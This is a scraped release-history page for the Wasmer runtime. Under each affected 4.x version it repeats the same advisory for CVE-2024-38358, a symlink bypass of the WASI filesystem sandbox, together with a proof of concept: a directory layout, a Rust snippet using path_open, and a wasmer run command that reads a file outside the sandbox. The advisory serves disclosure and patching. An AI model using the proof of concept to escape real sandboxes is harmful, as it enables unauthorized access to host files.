wasmer

Version	Released
`7.4.0` minor	Aug 31, 2026
`7.3.0` minor	Aug 21, 2026
`7.3.0-rc.1` pre	Aug 21, 2026
`7.2.1` unknown	Jul 27, 2026
`7.2.0` unknown	Jun 30, 2026
`7.2.0-rc.1` unknown	Jun 29, 2026
`7.2.0-alpha.3` unknown	Jun 01, 2026
`7.2.0-alpha.2` unknown	Apr 24, 2026
`7.2.0-alpha.1` unknown	Apr 10, 2026
`7.1.0` unknown	Mar 27, 2026
`7.1.0-rc.3` unknown	Mar 27, 2026
`7.1.0-rc.2` unknown	Mar 17, 2026
`7.1.0-rc.1` unknown	Mar 16, 2026
`7.1.0-alpha.1` unknown	Feb 24, 2026
`7.0.1` unknown	Feb 02, 2026
`7.0.0` unknown	Jan 28, 2026
`7.0.0-rc.2` unknown	Jan 27, 2026
`7.0.0-rc.1` unknown	Jan 23, 2026
`7.0.0-alpha.2` unknown	Jan 13, 2026
`6.1.0` unknown	Oct 08, 2025
`6.1.0-rc.5` unknown	Sep 17, 2025
`6.1.0-rc.3` unknown	Aug 20, 2025
`6.1.0-rc.2` unknown	Jul 17, 2025
`6.0.1` unknown	May 09, 2025
`5.0.6` unknown	May 02, 2025
`6.0.0` unknown	Apr 24, 2025
`6.0.0-beta.1` unknown	Mar 07, 2025
`6.0.0-alpha.2` unknown	Feb 26, 2025
`6.0.0-alpha.1` unknown	Feb 18, 2025
`5.0.5-rc1` unknown	Jan 03, 2025
`5.0.4` unknown	Dec 17, 2024
`5.0.3` unknown	Dec 07, 2024
`5.0.2` unknown	Nov 25, 2024
`5.0.1` unknown	Nov 06, 2024
`5.0.0` unknown	Oct 29, 2024
`5.0.0-rc.1` unknown	Oct 21, 2024
`4.4.0` unknown	Oct 04, 2024
`4.3.7` unknown	Sep 09, 2024
`4.3.6` unknown	Aug 22, 2024
`4.3.5` unknown	Jul 16, 2024
`4.3.4` unknown	Jul 08, 2024
`4.3.3` unknown	Jul 04, 2024
`4.3.2` unknown	Jun 11, 2024
`4.3.1` unknown 1 CVE	May 23, 2024
`4.3.0` unknown 1 CVE	May 10, 2024
`4.3.0-beta.1` unknown 1 CVE	May 08, 2024
`4.3.0-alpha.1` unknown 1 CVE	Apr 25, 2024
`4.2.8` unknown 1 CVE	Apr 08, 2024
`4.2.6` unknown 1 CVE	Mar 04, 2024
`4.2.5` unknown 1 CVE	Dec 23, 2023

7.4.0 minor

Aug 31, 2026

7.3.0 minor

Aug 21, 2026

7.3.0-rc.1 pre

Aug 21, 2026

7.2.1 unknown

Jul 27, 2026

7.2.0 unknown

Jun 30, 2026

7.2.0-rc.1 unknown

Jun 29, 2026

7.2.0-alpha.3 unknown

Jun 01, 2026

7.2.0-alpha.2 unknown

Apr 24, 2026

7.2.0-alpha.1 unknown

Apr 10, 2026

7.1.0 unknown

Mar 27, 2026

7.1.0-rc.3 unknown

Mar 27, 2026

7.1.0-rc.2 unknown

Mar 17, 2026

7.1.0-rc.1 unknown

Mar 16, 2026

7.1.0-alpha.1 unknown

Feb 24, 2026

7.0.1 unknown

Feb 02, 2026

7.0.0 unknown

Jan 28, 2026

7.0.0-rc.2 unknown

Jan 27, 2026

7.0.0-rc.1 unknown

Jan 23, 2026

7.0.0-alpha.2 unknown

Jan 13, 2026

6.1.0 unknown

Oct 08, 2025

6.1.0-rc.5 unknown

Sep 17, 2025

6.1.0-rc.3 unknown

Aug 20, 2025

6.1.0-rc.2 unknown

Jul 17, 2025

6.0.1 unknown

May 09, 2025

5.0.6 unknown

May 02, 2025

6.0.0 unknown

Apr 24, 2025

6.0.0-beta.1 unknown

Mar 07, 2025

6.0.0-alpha.2 unknown

Feb 26, 2025

6.0.0-alpha.1 unknown

Feb 18, 2025

5.0.5-rc1 unknown

Jan 03, 2025

5.0.4 unknown

Dec 17, 2024

5.0.3 unknown

Dec 07, 2024

5.0.2 unknown

Nov 25, 2024

5.0.1 unknown

Nov 06, 2024

5.0.0 unknown

Oct 29, 2024

5.0.0-rc.1 unknown

Oct 21, 2024

4.4.0 unknown

Oct 04, 2024

4.3.7 unknown

Sep 09, 2024

4.3.6 unknown

Aug 22, 2024

4.3.5 unknown

Jul 16, 2024

4.3.4 unknown

Jul 08, 2024

4.3.3 unknown

Jul 04, 2024

4.3.2 unknown

Jun 11, 2024

4.3.1 unknown

1 CVE

CVE-2024-38358 GHSA-55f3-3qvg-8pv5 Jun 07, 2024

Symlink bypasses filesystem sandbox

2.9 / 10

Low

Local High None None Unchanged Low None None

Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.

References

Updated Sep 10, 2026 · Source: OSV.dev

May 23, 2024

4.3.0 unknown

1 CVE

CVE-2024-38358 GHSA-55f3-3qvg-8pv5 Jun 07, 2024

Symlink bypasses filesystem sandbox

2.9 / 10

Low

Local High None None Unchanged Low None None

Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.

References

Updated Sep 10, 2026 · Source: OSV.dev

May 10, 2024

4.3.0-beta.1 unknown

1 CVE

CVE-2024-38358 GHSA-55f3-3qvg-8pv5 Jun 07, 2024

Symlink bypasses filesystem sandbox

2.9 / 10

Low

Local High None None Unchanged Low None None

Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.

References

Updated Sep 10, 2026 · Source: OSV.dev

May 08, 2024

4.3.0-alpha.1 unknown

1 CVE

CVE-2024-38358 GHSA-55f3-3qvg-8pv5 Jun 07, 2024

Symlink bypasses filesystem sandbox

2.9 / 10

Low

Local High None None Unchanged Low None None

Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 25, 2024

4.2.8 unknown

1 CVE

CVE-2024-38358 GHSA-55f3-3qvg-8pv5 Jun 07, 2024

Symlink bypasses filesystem sandbox

2.9 / 10

Low

Local High None None Unchanged Low None None

Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 08, 2024

4.2.6 unknown

1 CVE

CVE-2024-38358 GHSA-55f3-3qvg-8pv5 Jun 07, 2024

Symlink bypasses filesystem sandbox

2.9 / 10

Low

Local High None None Unchanged Low None None

Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 04, 2024

4.2.5 unknown

1 CVE

CVE-2024-38358 GHSA-55f3-3qvg-8pv5 Jun 07, 2024

Symlink bypasses filesystem sandbox

2.9 / 10

Low

Local High None None Unchanged Low None None

Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 23, 2023

Activity

Reach

Details

Summary

Details

PoC

Summary

Details

PoC

Summary

Details

PoC

Summary

Details

PoC

Summary

Details

PoC

Summary

Details

PoC

Summary

Details

PoC

Summary

Details

PoC